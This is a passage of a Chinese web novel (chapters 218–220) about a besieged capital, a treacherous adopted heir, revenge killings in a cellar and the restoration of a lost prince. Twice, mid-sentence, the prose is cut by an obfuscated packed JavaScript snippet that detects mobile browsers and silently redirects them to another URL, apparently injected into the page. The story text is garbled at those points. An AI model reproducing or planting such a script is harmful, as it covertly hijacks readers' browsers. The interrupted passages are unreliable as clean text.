一具具尸首被抬到院中空地上,元旭当场吐得昏天暗地。吐空胃腹之后,他喝了几口水,摇摇晃晃站起来,继续跪在废墟上扒拉。 十根从没沾过阳春水的手指夹满黑泥,磨得血迹斑斑,但他浑然不顾,一边刨起块块焦黑的瓦砾碎石,一边流泪:“你要是有个三长两短,我怎么跟她交待?” 穆阐在前面带路,边掘边呼喊,声音逐渐嘶哑,从“侯爷”、“将军”变成带着哭腔的“父亲”。 奚寒扶住摇摇欲坠的元旭,犹豫良久,艰涩地劝说:“这半座城都烧成了白地,主子您想开些,就算建业侯在这也……” “对,地下!”穆阐猛然跳起来,“地下!” 然后,他疯了似的奔向灶房的方向,苻洹眼睛一亮,忙带领人紧随其后。 那是起火的中心,灶房位置被炸出个黢黑大坑,浓烈恶臭直冲脑颅,覆盖着石脂烧尽后的黑灰。穆阐顾不上许多,弯腰就开始徒手挖土,苻洹忙让人扛来铁锹锄头,一点点堆积厚厚的灰烬挖开。果然,寻到一方半丈见方的盖板。 “这里原本是地牢,后来父亲娶了母亲,将这里改作酒窖。母亲……过世之后,这里就荒废了。”穆阐深吸一口气,试着伸手去摸索边缘。高温之下,包铜盖板边缘已融化再凝固。 撬棍和镐头是现成的,苻洹亲自拿起镐头,带亲兵砸得火花四溅,约莫半个时辰,终于将盖板撬起。 铜门轰然拉开,浓郁的腥气和腐臭扑面而来。黑暗像凝固的血,浓稠得化不开,拾级而下、隐隐看到黑暗深处有一星金光,明明灭灭、淡如薄纱,还越来越黯淡、似乎即将熄灭。 苻洹精神一震,手提风灯疾步走过散落满地的空酒坛,待看清眼前场景、顿时倒吸一口凉气。 血、满地是血,横七竖八倒着几具尸首,有北宛骑兵装扮、有洛川别苑府兵装扮。 兕儿倒在离门边最近的地上,保持着奔逃姿势,满脸惊怖,两枚碎瓷片分别嵌在大腿和颈部血脉,血喷出近一丈远。碎瓷片来自他身后,苻洹顺着看去,是靠墙坐着的两个身影。 苻阙被苻洵搂在怀里,亲密得像亲生父子——如果没有颈部的铁链。 那根铁链,从苻洵琵琶骨穿出,绕过苻阙脖颈,再缠绕上苻洵的腿。他就那样借用腿力、拼着肩胛骨俱断的疼,生生将苻阙勒死在怀中。 苻洵身后的石壁上,钉着两根长长的铁链,穿透他琵琶骨,将他不近不远困在墙上。他鬓发凌乱地粘在颊边,乌发夹杂着绺綹灰白,双目紧闭,脸颊和嘴唇没有半分血色,像是破碎的玉石雕像,没有一丝活气。 但他并非紧贴石壁依靠,身躯挡着什么东西……苻洹快步上前,将风灯靠拢看清他护着的,登时心尖一颤,两行泪水夺眶而出。 苻稷的稚弱尸身,干干净净、安安静静躺在苻洵身后。 218. 引狼入室 苻洵在喊杀声中醒来,城西方向传来阵阵呐喊、马嘶,喧嚷如沸。 他的两条胳膊,没有任何知觉。 “父亲醒了?”穆阐两眼放光,忙凑过去问,“父亲感觉怎样,可想吃点喝点什么?” 景樊和元旭正守在床边瞌睡,一听穆阐出声,齐刷刷醒转,靠过去满目关切。 苻洵无力摇摇头,看着元旭哑声说:“香囊……” 元旭会意,从袖中取出一只红色香囊,用最复杂的挑花针法、绣着一对活灵活现的蝴蝶。因为戴得太久,颜色已暗旧,还浸着血渍。 递过去时,元旭无意捏了捏,里面裹着一枚玉佩、以及一段柔软——像是青丝。 他思忖片刻,将香囊放在苻洵心口的位置。 苻洵闭目养神半晌,像是从香囊上汲取到力量,呼吸逐渐平稳有力。他侧耳凝神,倾听片刻城外喊杀声,满脸了然:“北宛骑兵在攻城?几天了?” 元旭:“四天四夜。” 旋即,他唇角露出一丝苦笑:“思源放的那把火,果然是信号。” 元旭悚然一愣:“七妹妹家的思源?他怎么在这里?” “罪臣苻洵因一时恻隐、引狼入室,累死储君、危及国体”,苻洵痛苦地闭上双眼,眼角沁出两滴泪,旋即望向景樊,“禀告丞相大人,苻阙与冯思源勾结异族,引外敌入侵,已被罪臣就地正法。” 景樊老泪纵横,颤声道:“那俩孩子是咱们看着长大的,陛下亲自抚养那么多年,怎么说翻脸便翻了脸?还有洛川别苑那些府兵,这么多年都好好的,王莽谦恭未篡时啊……” “是我太不周全,忘了冯栩的教训”,苻洵苦笑着摇头,“无他,前程而已。” 是苻洵太不周全,总以己度人。 他若在困顿时受了谁的恩,掏心掏肺也要将最好的捧到那人面前,别人还他一个笑颜、欣然接受,就能让他踏实又舒坦。 可这世间人跟人的差别,比人和狗都大,多的是忘恩负义、以怨报德之辈。 . 苻阙被苻沣当作唯一嫡子、金尊玉贵宠了十多年,不知期许过多久登临王座。可后来啊,一直说着终身不娶的苻沣,还是迎娶了继后,他们一起生下苻稷,不仅血脉更近、还天分极高,被太子三师和朝臣寄予厚望。 更令苻阙心寒的,是自己亲生父亲也不断奏请易储,甚至提出将他收回本家。 嗣父嫡母更喜爱亲生儿子,请求易储的奏折源源不断,苻阙虽不甚聪敏,也读过史书、知道被废的太子会有什么下场。好在朝中还有为数不少的“血统派”,担忧苻稷身上一半元氏血统。 苻阙的侥幸未持续多久,继后薨逝、而且在世人面前被阊江朝廷抛弃,苻稷也毫无疑问成为新的储君。 被废后,苻沣给他封了侯爵采邑,看去十分优厚。他却感觉头顶无时无刻不悬着一柄剑,于是听兕儿的主意,一起去洛川别苑,战战兢兢请求自己亲生父亲庇护。 却只看到客气疏离的父亲,身边早有其他女人。 后来,父亲永驻北疆、父亲打了胜仗、父亲南下阊江……父亲又有了新的女人,那女人位高权重,父亲待她一心一意、还同她生下掌上明珠。 他被父亲抛弃在奉宁,成为无人问津的废子。 战战兢兢熬过一天又一天,偌大宫廷里,苻阙逐渐只相信兕儿——跟他流着相同血液的异母弟弟。 跟他的优柔软弱不同,兕儿又刚强又聪慧,给他出了许多主意:将自己伪装得更傻更软弱,事父至孝、事弟至悌,然后…… 兕儿说,只要苻沣还是王,储君之位就永远轮不到他。 兕儿又说,有办法可以让他名正言顺:苻洵在朝中甚多拥趸,他的生母锦瑟已被扶为正妻,他就是苻洵的嫡子。苻沣病情越来越重,若他们振臂一呼,扶持苻洵为王,苻阙就是毫无争议的太子。 于是,苻阙战战兢兢,换了给苻沣的药,使苻沣的病越来越重,再写信诱苻洵回奉宁。又给苻阗下了蒙汗药,悄悄告诉苻稷、堂弟苻阗病了——他可真好骗。 等苻稷进了洛川别苑,再佯作惊慌告诉苻洵,苻稷失踪了。 换给苻沣的药、下给苻阗的药都是兕儿给的,苻阙也不知兕儿哪来那么多稀奇古怪的药。但是兕儿聪明,肯定比他有办法。苻阙战战兢兢换药下药的时候,如是想着。 可是阿阗死了、稷儿也死了,父亲被铁索穿透琵琶骨,吊在地窖半空昏死过去。苻阙避开耳目潜回洛川别苑,踏进苻阗卧房时,看到的就是如此场景。 门外传来整齐的脚步声,苻阙还未从巨大惊恐中回过神,慌乱扯着兕儿袖子:“兕儿,咱们快走,府兵来了。” 兕儿没有动,只站在地窖上空,居高临下看着吊在半空的苻洵,扯动唇角、露出陌生的笑容。 姚晟跑得很快,在他们面前跪得很恭顺:“卑职姚晟,拜见大殿下!” 苻阙诧异而疑惑:“姚统领何须行此大礼,快快平身。” 姚晟没有动。 “起来吧”,兕儿上前一步,轻描淡写地吩咐,然后转向苻阙、挺直脊背傲然道,“他拜的是我——北宛汗王的长子,冯思源。” . 九月十一下午,苻洵在酒窖醒来。 “稷儿!稷儿!”黑暗里,他摸索着将手伸向苻稷脖颈,冰冷、静止,没有一丝搏动。 苻洵一边吃着发霉的炊饼,喝着掺迷药的水,一边环顾自己和四周。 自己身上除了血,并无更多脏污,这地方一定在洛川别苑内。天窗开合有金属与石头撞击声、有铁门、空气里有淡淡酒气,这种地方在洛川别苑只有一处——曾经的地牢,婚后被改作酒窖。 他又想到昏迷中,恍惚听到姚晟的声音,唤兕儿为“大殿下”,顷刻心下敞亮、起了身冷汗。 他尽力周全,不让跟随他的下属怀才不遇,却灯下黑、忽略了最紧要的那个——姚晟做洛川别苑卫士长,已整整十五年。先前苻洵是风光无限的荣国战神,洛川别苑侍卫长也与有荣焉,后来呢? 同时跟随他的,郎琊成了玄甲营副指挥使,秦川成了国君内卫副统领,姚晟却成了高等保育院的卫士长。 酒窖门开了,兕儿满面笑容走在前,苻阙战战兢兢紧随其后,再后面跟着数十名侍卫。虽穿着府兵服饰,苻洵却一眼就从他们五官线条看出,都是北宛人。 苻洵什么都明白了。 他咬紧牙关,直勾勾盯住兕儿,唇角勾起一丝冷笑:“早知今日,当初就该任你在柘枝城被冯栩虐杀。” “你以为自己假惺惺将我救回奉宁,我就该对你感恩戴德?”兕儿咬牙笑了,眼里满是泪,“是谁让我沦落到被虐待的地步?正是苻洵你啊。” “我原本有世上最温柔和善的父亲,你为什么要找来那个卑贱面首,还让父汗知道……” “因为那个卑贱面首,才是你的生父。”苻洵要紧后槽牙,笑容可掬柔声说。 兕儿勃然色变,怒喝:“血脉那鬼东西算什么?我生于格日乐图汗王的府邸,长于卓力格图汗王的宫殿。我冯思源,是布日固德嫡亲的世孙,大草原正统的王子。” 苻阙猛然呆住,惊恐地看向兕儿:“你不是……” “我当然不是他儿子,他也配?”兕儿笑得满脸泪水,“若非父汗特特叮嘱留他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15121944|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性命,我早就一刀杀了他。” 他满脸玩味觑向苻阙:“不要用那副眼神看我,我不是,你也不是。你就没想过,为什么洛川别苑的孩子一个个认祖归宗,偏偏只有你好好被养在宫里?当然因为你出身卑贱、没爹没娘,离了王宫无处可去啊。” 旋即,他冷冷吐出最后一击:“怎么,你还真当他是你爹?” 兕儿再狡狯老成,毕竟还是个孩子,憋了太久,一朝得手便再压不住倾诉欲,滔滔不绝说起来。 苻洵深吸一口气,咬紧牙关忍住晕眩,凝神闭眼催动金蝉,将饮下的毒素一点点推到肩胛,随血液排出。 恍惚间,肩胛骨的疼痛加重,激得苻洵陡然惊醒,打了个哈欠、笑吟吟看着兕儿:“你说的那些太无聊,忍不住睡着了。” 然后轻浮地挑了挑眉,满脸嫌弃摇头叹息:“听说你跟翊国幼主是发小,人家都一国之君了。瞧瞧你自己,当条好狗就得意成这样,啧啧……” 兕儿笑容僵住,霍然出拳打在他肩胛,苻洵痛得浑身发颤,却仍笑吟吟歪头注视着他。 地上散落着不少空酒坛,兕儿一边出拳击打苻洵伤口,一边暴躁地踹开酒坛、碎片四处飞溅。忽然心念一动,阴恻恻笑了:“你不是很得意自己在边墙改好的铜墙铁壁?” 苻洵脸色霎冷肃。 兕儿笑得双肩颤抖:“有时候,将城墙修得再好也没用,因为门可以从里面被打开。苻洵啊苻洵,你的名头可真好用,府上一个小小卫士长、带上阁下钤印,就能指挥动北卢驻军。” 苻洵心神一凛,一股寒意顺脊柱直冲天灵盖。他忙屏息凝神贴紧石壁,感应着地底传来的沉闷震动,马蹄踏地轰鸣如雷,有大量骑兵正从西北方向迅速奔来。 兕儿歪着头、欣赏片刻他的慌乱,露出满意的微笑。冷嗤一声,气定神闲往外走,十几名狼骑立即紧随其后,只留下三四名在酒窖看守苻洵和苻阙。 苻阙呆滞跪在地上,注视兕儿带狼卫扬长而去,半晌才回过神,连滚带爬凑到苻洵身边,泪流满面哽咽道:“小叔叔……父亲……苻将军……阿阙害了你。” 他颤抖双手,去解穿过苻洵肩胛的铁索,粘得满手血污、却只徒劳增加苻洵的痛苦。又去扯动另一端,那端却牢牢钉进石壁、纹丝不动。 最终,他跪倒在满是碎瓷片的地面,嚎啕大哭。 “别白费力气了,徒手解不开”,苻洵哑声说,“阿阙,事已至此,你若还有几分良心,给小叔个痛快。” 苻阙惊得倒退几步,面对苻洵叩得头破血流,惊恐摇头:“我不是故意的,我下不了手……我只是嫉妒稷儿,从未想过让他死。” 苻洵眼里光彩逐渐黯淡,体能和力气逐渐耗尽,却仍噙一丝冷笑、目不转睛盯着苻阙。 苻阙叩首许久,慌乱地往后退,跪到三名狼卫脚边,哀求他们替苻洵松绑,被一脚踹开。狼卫心性凶戾,苻洵偌大个活人在眼前挑衅,却忌惮冯栩嘱托、不敢弄死,憋了许久的怒气齐齐冲向苻阙。 当即开始对苻阙拳打脚踢。 蓦地,三人骂骂咧咧连打带踹的动作僵住,捂住脖颈往后倒去。腔子里不断发出“嗬嗬”,鲜红的血滋滋往外喷射、飙出近一丈。 苻洵佯作与苻阙说话、掩盖声音,已拾起几枚碎瓷片藏在身上,趁他们殴打苻阙时,抓住稍纵即逝的机会、几枚瓷片弹射而出,锋利边缘和尖角霎时割破他们颈脉。 就在三人血雾飙射的刹那,头顶传来“轰”一声闷响,簌簌抖落灰尘。旋即,盖板大开,漏进大团黄亮炽热的光。 兕儿从那团亮光里倏然跳下,稳稳落在台阶上,抬手去合盖板。 219. 天命所归 兕儿跳下石阶的瞬间,几声连续不绝的惨嚎声从他头顶灌进,撕心裂肺、生不如死。 惨嚎声越来越近,兕儿动作也越来越快,怒叱:“你们三个,还不来帮忙!” 顾不上有无应答,他身躯绷紧、使出吃奶的力气合拢盖板,将惨嚎声关在盖板外。 盖板开合片刻,浓郁的烤肉焦糊气、臭鸡蛋味涌入,弥散在酒窖内,熏得人眩晕欲呕。 兕儿骂骂咧咧走过铁门,眼睛还没适应暗处,却已警觉异样,下意识转身就逃。就在他即将逃上台阶时,几声细锐尖啸从脑后激射而来,他忙旋身闪避,却只觉颈侧和大腿同时一寒,艳艳鲜红在眼前扯开一匹红缎。 他后知后觉感到钻心剧痛,才意识到,那红色锦缎是自己的血。 人之将死,听觉是最后消失的。兕儿听见苻洵的声音,十分沙哑无力,漠然、骄傲带着不屑,远在天边、又像近在眼前:“冯栩的武艺都是我教的,何况你这三脚猫工夫。小白眼狼,记住了吗?” “下辈子,记得离我远些,莫要污了我的眼。” 苻洵甩出这几枚瓷片,已耗尽他攒集的所有气力,靠在石壁上闭眼低喘。许久,他柔声开口:“阿阙,稷儿不能就那样躺着,不光彩。你是哥哥,抱起他放到我身后。” 苻阙早已被一连串变故吓傻,赶紧从善如流抱起苻稷遗体,颤颤巍巍走向苻洵,短短几步路、跌倒好几次。终于抖抖索索,把苻稷放到苻洵身后,觑着苻洵脸色,又脱下外袍替苻稷盖好。 苻洵扯动唇角,艰涩地笑了,挺了挺脊梁、尽量将苻稷遮挡在身后,大颗大颗泪水从脸颊滚落。 苻阙怔怔盯着他,苻洵轻轻抬臂、轻轻说:“阿阙,过来让我看看……” 苻阙乖乖走过去,靠在他浸满血渍的衣襟上。 苻洵温柔抚过少年稚嫩的脸:“记得当年从维阳将你抱回家,当时你那么小、那么软,就这样靠在我怀里笑……我想,就当是我亲生儿子了。后来,哥哥没了隽儿,你成了我侄儿,咱们也越走越远。” 苻阙颤抖着,泣不成声:“我不是故意的,父王对我那么好,我只是害怕。” 苻洵点点头:“我知道,害怕……害怕这么好的父王不再是自己的,我以前也怕过。”他流着泪,手猛然收紧,将穿过琵琶骨的铁链绕上苻阙脖颈,腿部开始用力。 苻阙娇养多年,徒劳挣扎几下便已脱力,气若游丝地哀求:“我不是故意的……” “我知道,不是故意的”,苻洵笑得凄然,勒紧苻阙那根铁链同时牵扯他琵琶骨,他痛得上半身没知觉,腿部仍使劲蹬着,“当初我也不是故意。” “十三年前,我害哥哥失去隽儿……十三年后,你又害死哥哥唯一的继承人。” 怀中少年逐渐停止挣扎,苻洵保持着勒杀的姿态、纹丝不动。铁链勒过苻阙脖颈、死死牵扯着他肩胛,他一动不动,任由痛觉一分分撕扯。泪水干涸在脸上,他心都凉透了,满满绝望浸得他喘不过气。 “阿阙啊,我们都罪无可恕。” 苻洵哑声喃喃,眼前一阵黑一阵红,他气息渐弱、无力垂下头。 体内金蝉与他心意相通,放弃保护心脉、修补伤口的努力。 恍惚中,苻洵听见一阵阵哭声,是婴儿的嚎啕,悲伤、哀恸、不舍。他睁不开眼睛,却触摸到拂过指尖的风,沁凉、潮湿,是江风。 他在邶风别苑感受到的风。 “姐姐……知蕤……” 黑暗中,已经黯淡至即将熄灭的金光,再次缓缓盛放,如绚丽薄纱、罩住苻洵已失去生机的身躯。 . 景樊和元旭听苻洵讲述经过后,一时无言。 苻洵含泪说:“我知道自己犯下怎样错误,但,还请两位告知陛下,稷儿、兕儿和苻阙皆为狼骑所害。” 苻沣大限将至,稷儿薨逝、临终丧子已足够悲痛,若加害者是自己疼了多年的养子,只怕九泉之下也无法安宁。景樊和元旭对视片刻,均无声颔首应允。 元旭喟然长叹,起身走向殿外,听了片刻城外轰隆巨响,又返回卧房坐下:“事已至此,不要过分自责,不如想想怎么弥补。冯栩的大军已攻城四天四夜,还在伐木造桥,估计也撑不了多久。” 景樊点头附和:“我和太尉已商量过,陛下危在旦夕,不如你临危受命登临大统,事后内战、要战要降,我们都……” “先解决燃眉之急”,苻洵喝下几口米羹,中气足了些,“派谁去求援?出发多久了?” 景樊:“太尉派秦统领去北宛,自保无虞,只是时间上……” “太平时节一来一回就都要十来天,还不说兵荒马乱的,那几支骑兵也不知在草原哪个位置”,苻洵思忖片刻,抬眸问,“给阊江发过求援书吗?” 景樊一愣,元旭马上说:“让飞廉报信去了,不过时间有些晚,找到你那天才出发。” 苻洵苦笑摇头,瞥向元旭:“实在抱歉,连累你和阐儿……” “你突然这么客气,我有点不习惯”,元旭干笑两声,忽然眸光一亮,“对了,阐儿……阿洵,你相信心有灵犀吗?” 苻洵鸡皮疙瘩掉一地:“谁让你这么叫的?没大没小。这时候少玄乎,到底怎么回事?” 元旭双颊一红:“五姐姐过身时,托付给我两个人,一是她身边有位万女官,一是阐儿……特特嘱托我,等到奉宁十万火急、姐夫后继无人,就带阐儿带回,并将万女官送到褚阿姊身边……我临走时为防万一,跟阿珂说过这事。” “怎么不等我死了再说?”苻洵心跳一突,见元旭满脸诚挚,顿时又一个头两个大,脑瓜子嗡嗡作响,“遗言啊,还打哑谜,你都不问清楚?” 元旭干笑:“五姐姐修习相术多年,为防泄漏天机,说话一直这样,她还说阿姊一见万女官就懂……” 真是个没好奇心的人。 “姐姐知道什么?还有,十万火急就罢了,她怎么还知道会后继无……”苻洵蓦然顿住,飞快思索着什么,眼瞳急遽收缩,惊恐望向穆阐,“隽儿?” 殿外忽然遥遥传来一个清亮女声——“穆阐就是苻隽!” 元旭愕然回身,眼睛陡然绽出光彩,趋步迎出殿外跪在门边:“拜见太后陛下!” 景樊身躯一僵,惊喜迎出去,只见舜英穿一身黑色劲装,提着慕荷在宫道上飞驰,身后跟着一串飞廉内卫,再后面追着一大群禁卫。 苻洵挣扎片刻,终于坐起来,斥退禁卫,盯着从殿外疾步走来的女子,眼圈一热:“你怎么来了?” “你来得,我来不得?”舜英爽朗笑了笑,转身对景樊回礼,“我不但自己来,还带来了宛陵骑兵。” “紫菀在后边,你去接接”,她又瞟向元旭,“还有,你岳父也来了。” 元旭恭声答应,小跑着退出殿外。舜英又让慕荷接替照顾苻洵的事,俯身对穆阐说了几句,穆阐眼中露出惊愕和欣喜,顺从地走到她身边。 谢恬带飞廉内卫在房外候命,舜英淡淡道:“这儿用不着你们保护,去城门那边听班太尉指挥。” 谢恬笑嘻嘻对内卫喊了声:“兄弟们,立功的机会来了!” 内卫刚赶到殿门,原本乏累 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125190|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至极,听见谢恬这话,纷纷眼睛发亮,每人从怀里掏出几块干粮和肉脯、匆匆嚼了几口咽下,一窝蜂随谢恬奔出宫门。 舜英目送飞廉走远,眼中露出些欣慰,转身看着苻洵笑了笑:“阿洵,这儿有我,你放心养伤。” 不等苻洵应答,她又转向景樊,沉声道:“朕有一要事需与贵国陛下面谈,烦请景相替我引见。” 从她进来开始,景樊就一直冷眼观察她言行举止,一言一行忙而不乱、镇定自若,她身上带着一股令人踏实的力量。从踏进这扇门,所有人都像立刻寻到更强大的主心骨,开始不由自主听从她的安排。 同样千军万马兵临城下,同样如此踏实,景樊之前只经历过一次——永兴四年,渝安郡公苻钊谋反,苻洵率五城兵马司守在城头,对抗几十倍数量的叛军。 景樊目光扫过苻洵和穆阐,思忖片刻,对舜英再次施礼、恭声道:“请陛下随外臣移步正殿。” . 攻城的巨响逐渐偃旗息鼓,取而代之的,是越来越稠密的厮杀声,潮水般一迭又一迭从四面八方涌来,像做着一场不远不近的噩梦。 “大翊摄政太后褚舜英,向贵国陛下问安”,舜英一路疾行,走进长秋宫寝殿,对病榻上的人躬身长揖,“朕奉边垣之盟驰援友邦,宛陵骑兵已至奉宁城西郊,三郡二州骑兵已受朕诏书虎符,正在回援的路上,请陛下务必宽心,以贵体为重。” 病榻上的苻沣睫毛微颤片刻,缓缓睁开双眼扫视周围片刻,清了清嗓子:“景相,前去传令百官和尚书台,去紫宸殿待命。” 然后,他看向舜英,苍白唇角扯起一丝笑意:“阿晴说你会来,你果然来了。” 门外传来通报:“陛下,平南侯携紫菀修士求见。” “快请进来。”苻沣示意御侍扶自己起来。舜英忙退到门口,只见元旭带着紫菀正跨过院门。元旭并不避讳,径直入内替苻沣挑选衣袍配饰。门板不厚,房内二人对话清晰可闻,又和气又熟稔。 苻沣重重咳嗽几声,声音带着喘息:“阿旭,站近点让我看看,怎么比当初在清泉宫还瘦?” 元旭声音低哑:“在阊江领了实职、又初为人父,庶务繁忙了些。” 苻沣嗓音带笑:“实在对不住,当初关你大半年……其实我知道,阿晴过世跟你无关,只是她临终嘱托、一定要将你留到第二年才回……” “五姐姐还说什么?”元旭声音陡然急促,带着惊愕。 苻沣:“她说,天下一统是大势所趋,苻氏国祚气数早就尽了,是阿洵用一己之力、强行延了十几年寿命……咳咳……” 元旭尴尬地干咳:“五姐姐说话一直如此,姐夫莫要……” “她的话一直很对,是我……我不甘天命”,苻沣剧烈咳喘半晌,悲怆哭道,“她还说她本不该与我结为夫妻,稷儿也本不该存在。阿旭,你跟我说实话,稷儿他是不是已经……” 他话锋忽然一转,急促喘咳:“阿旭,我前几天总梦见阿晴,她跟我说啊……等战火燃遍奉宁,你会带着我的隽儿回来,翻来覆去老梦见她……她说了好多遍,我都当真啦……” “隽儿……阐儿,原来如此、原来如此……五姐姐早就安排好一切”,元旭沉默良久,艰涩地喃喃低语,蓦地一顿,声音陡然急切,带着哭腔,“她既早知一切,怎就不知道那份鱼脍有毒……” “她知道啊,过了一年多我才查出来,崔少昕在鱼脍下的毒,她吃第一口就察觉到了”,苻沣颤抖着哭起来,“可她还是面不改色吃下那份鱼脍,回去之后,又喝了一碗加快毒性发散的汤……” 220. 拱手河山 舜英在门外听他们交谈,寒意不断从脚底冲上天灵盖,她四肢冰冷、全身都麻了,靠着墙壁无力蹲下。 三年前元晴薨逝的那个夜晚,那梦境再度绕上心头。她心口又开始突突跳起来,耳边嗡嗡直响,眼前一阵红一阵黑,高台、云气、星辰、血海、扭曲的脸、濒死的哀嚎…… 一幕幕走马灯似的飞快掠过、一声声在耳边盘旋,最终只剩绵延战火、无尽血海、一张张恐惧扭曲的脸…… “从古至今,望海百族、西陵古国、虞国、荣国、宣国、燕国、翊国……所有的民,被卷入战火,濒临死亡时,痛苦和绝望是一模一样的。” “不止他们,还有河西三十七部、西羌诸国、草原二十八部……一切有血有肉的人,在面对战火和死亡时,其实都一样。” “你懂了么?” “懂了么——了么——么——” 替萧玥娘续命两年,诞下苻隽;潜入洛川别苑掉包苻隽与苻阐;进谏舜英为招安使,间接使苻阐对素未谋面的元旭心生仰慕:再嘱托苻沣将元旭强留在清泉宫,苻阐与元旭结下师徒情分、顺势被带回阊江…… 南去十万大山,救活一息尚存的蚩越,将其带回翊国;蚩越结庐于地皇山隐居、救活元旻;再间接救回被困雪洞的桑珠和叶儿;同时令舜英回归阊江之前一切“经历”变得有迹可循、真凭实据…… 到最后,就连她自己的死,都是精心设计的。 以一场毒发身亡,斩断两国摇摇欲坠的虚假和平,促成金州战火,彻底击碎舜英逃避隐世的所有侥幸。 天地不仁,以万物为刍狗;圣人不仁,以百姓为刍狗。 宛如被万刃穿心,舜英痛得紧紧抱住自己,眼眶滚热、泪水涌了又涌,却都被她死死关住。 周身笼起一股暖意,舜英艰涩转头,苻洵站在旁边,正让慕荷将一件大氅披在她背上:“地上凉。” 他身穿玄衣,脸色惨白没一丝活气,却脊背挺直、目光灼灼,神情坚定沉稳得像钢铁,看上去很精神。 舜英忙起身搀住他:“受那么重的伤,怎么擅自起来了?” 苻洵顺势倚靠在她身上,像是为节省力气,没有说话,只往城西方向抬了抬下颌。 舜英立刻会意,苻沣油尽灯枯,苻稷意外身亡,如今当务之急是为穆阐正名。苻洹官至太尉、在宗室名声良好,应当在场主证。可城西的守城之战不能停,将士需要一位主心骨坐镇以定军心,苻洵素有威名、在宗室却是边缘人物,接替苻洹最适合不过。 思忖片刻,她了然一笑:“我陪你去,他国内政、我也不便掺和。” 苻洵扬唇一笑,任她搀在腰后,二人转身正要向苻沣告退,门“吱呀”一声从内打开,苻沣由元旭和穆阐一左一右搀扶着、端端站在门口。 苻沣后退一步,深深弯腰、十分恭敬地对舜英长揖:“紫宸殿将有嘉礼,请陛下务必前来参观。” 苻洵莫名觉得不自在,松开舜英撤开几步,苻沣将二人上上下下、左左右右打量了三五遍,唇边噙一缕意味不明的笑:“阿洵既起来了,也跟着来吧。” 然后,他低头瞥了瞥穆阐,泛红的双眸浮起慈爱和期许。 紫宸殿人头攒动、济济一堂。文武百官、景樊为首,宗室耆老、苻洹居先。螭陛下首右侧搭着两张软椅,是苻沣特意叮嘱,为舜英和元旭准备的。 元旭刚刚坐下,瞥了一眼端坐身侧的舜英、站在一边病怏怏的苻洵,有些发怵,忙将座位让给苻洵、径直溜到景樊身边站好,担忧地注视着后殿方向。 苻洵唇角微扬、颔首致谢,就势在舜英右手边坐下,也将目光投向分隔前后殿的巨幅云母雕墙。 云移雉尾开宫扇,女官、宫人鱼贯进殿,分列螭陛两侧,衣裳轻拂、一老一少四平八稳跨过槅门,款款在螭陛站定。 苻沣牵着穆阐走上螭陛,然后坐上王座,拉过穆阐揽入怀中。两张脸挨近的刹那,舜英感觉苻洵垂下的手臂猛然绷紧,同时,殿中传来一阵惊叹。 其实论五官轮廓和面貌,穆阐与苻沣只有四五分相似。美男子总有相似之处,细看之下、就连苻洵和苻沣都有三四分相似,所以之前并无人察觉异样。可当他们并肩而立时,那份端雅雍容的神情气度却一模一样。 无端让人觉得那就是少年时的苻沣。 就在落座瞬间,宗室大部分年长耆老已信了六七分。 随后,贴身侍奉过萧玥娘的女官、宫人皆被传唤上殿,逐一向众人叙述,幼时穆阐身上各处胎记、痣……嬷嬷再将他带到后殿,由宗室耆老和三公九卿逐一入内查验。 整个过程,穆阐一直镇定自若,无丝毫尴尬难堪,甚至对检视的人温文回礼——这也像极了苻沣。 摆玉碗清水,刺破二人指尖、滴血认亲。 二人血液融合在一起的刹那,景樊和苻洹同时绽出惊喜笑意。舜英用余光瞥向苻洵,他一直眼巴巴盯着台上。此时,紧绷的脊背骤然松弛,长舒一口气,闭上眼、流下两行泪水。 萧南图猛然跪地,喜极而泣:“苍天护佑,隽儿尚在人世,阿姊在天之灵也可安息!” 旋即,他膝行至苻洵面前,眼中满是感激:“多谢建业侯与元后娘娘齐心合力,使隽儿躲过命中灾劫,护住阿姊骨血!” 苻洵难抑心绪激荡,仍盯着高台泪如泉涌,舜英立即反应过来,轻轻推了他一下。 苻洵如梦初醒,拭泪哽咽道:“隽儿也是我血脉至亲的侄子……” 苻洹和景樊忙率先下跪,朗声高呼:“恭喜陛下遗珠自还,社稷后继有人!”群臣附和如云,纷纷跪拜恭喜。 苻沣含泪揽住苻隽,颤抖着紧紧握住他的手:“是我的隽儿……隽儿,爹爹对不起你……” 激荡良久,他缓缓拭去泪水,注视着台下众臣,气息虚弱无力,却字字沉稳清晰:“朕今日对诸君三问。” “其一,几十万北宛狼骑兵临城下,诸君当何为?” 苻洹:“有大翊褚太后奉边垣之盟来援,奉宁之围可解!” 苻沣:“其二,自建宁九年,冯太后启动边垣之盟至今,翊、荣两国兵多将广、粮草丰足,为何狼骑屡击不退?即便一时势弱、喘息片刻又卷土重来?” 众人心知肚明,但如此直白地被问起,面面相觑、嗡嗡低议许久,却无人敢冒头。 许久,御史大夫颜遂出列:“因盟国各怀心思,一有成效便开始顾及本国、致使盟约岌岌可。盟国立场不同、利益相左,致使斩草不除根、异族屡屡获得喘息之机!” 苻沣赞许点点头,撑着椅子扶手站起、挺直脊背,眼神骤然犀利:“其三,朕替荣国百姓问诸君一句,是我苻氏国祚重要,还是这片土地几千万百姓重要?!” 殿中鸦雀无声,衬得城外厮杀声无比清晰响亮。 舜英倏然意识到什么,惊得霍然站起。 